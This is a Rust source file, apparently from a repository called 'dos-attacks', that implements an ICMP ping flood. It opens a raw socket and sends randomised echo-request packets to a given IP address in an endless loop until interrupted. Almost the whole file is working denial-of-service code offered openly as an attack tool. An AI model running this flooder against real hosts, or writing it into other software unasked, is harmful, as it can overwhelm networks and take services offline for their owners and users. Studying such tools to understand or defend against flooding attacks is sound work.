dos-attacks

git clone git://git.codymlewis.com/dos-attacks.git
Log | Files | Refs | README | LICENSE

mod.rs (2345B)


      1 // Copyright (C) 2020 Cody Lewis
      2 //
      3 // This program is free software: you can redistribute it and/or modify
      4 // it under the terms of the GNU General Public License as published by
      5 // the Free Software Foundation, either version 3 of the License, or
      6 // (at your option) any later version.
      7 //
      8 // This program is distributed in the hope that it will be useful,
      9 // but WITHOUT ANY WARRANTY; without even the implied warranty of
     10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     11 // GNU General Public License for more details.
     12 //
     13 // You should have received a copy of the GNU General Public License
     14 // along with this program.  If not, see <https://www.gnu.org/licenses/>.
     15 
     16 
     17 extern crate rand;
     18 extern crate pnet;
     19 extern crate ctrlc;
     20 
     21 use std::net::IpAddr;
     22 use std::sync::atomic::{AtomicBool, Ordering};
     23 use std::sync::Arc;
     24 
     25 use rand::random;
     26 
     27 use pnet::packet::util;
     28 use pnet::packet::ip::IpNextHeaderProtocols;
     29 use pnet::packet::icmp::{echo_request, IcmpTypes};
     30 use pnet::transport::TransportChannelType::Layer4;
     31 use pnet::transport::TransportProtocol::Ipv4;
     32 use pnet::transport::transport_channel;
     33 use pnet::packet::Packet;
     34 
     35 /// Run the icmp ping flood attack
     36 pub fn run(address: &String) {
     37     let protocol = Layer4(Ipv4(IpNextHeaderProtocols::Icmp));
     38     let (mut tx, _) = match transport_channel(4096, protocol) {
     39         Ok((tx, rx)) => (tx, rx),
     40         Err(e) => panic!("Error creating the transport channel: {}", e),
     41     };
     42     let addr = match address.as_str().parse::<IpAddr>() {
     43         Ok(s) => s,
     44         Err(e) => panic!("Failed to parse address: {}", e),
     45     };
     46 
     47     let running = Arc::new(AtomicBool::new(true));
     48     let r = running.clone();
     49     ctrlc::set_handler(move || {
     50         r.store(false, Ordering::SeqCst);
     51     }).expect("Error setting CTRL+C handler");
     52 
     53     while running.load(Ordering::SeqCst) {
     54         let mut vec: Vec<u8> = vec![0; 64];
     55         let mut packet = echo_request::MutableEchoRequestPacket::new(&mut vec[..]).unwrap();
     56         packet.set_icmp_type(IcmpTypes::EchoRequest);
     57         packet.set_sequence_number(random::<u16>());
     58         packet.set_identifier(random::<u16>());
     59         let csum = util::checksum(packet.packet(), 1);
     60         packet.set_checksum(csum);
     61         match tx.send_to(packet, addr) {
     62             Ok(_) => print!("."),
     63             Err(_) => print!("_"),
     64         }
     65     }
     66 }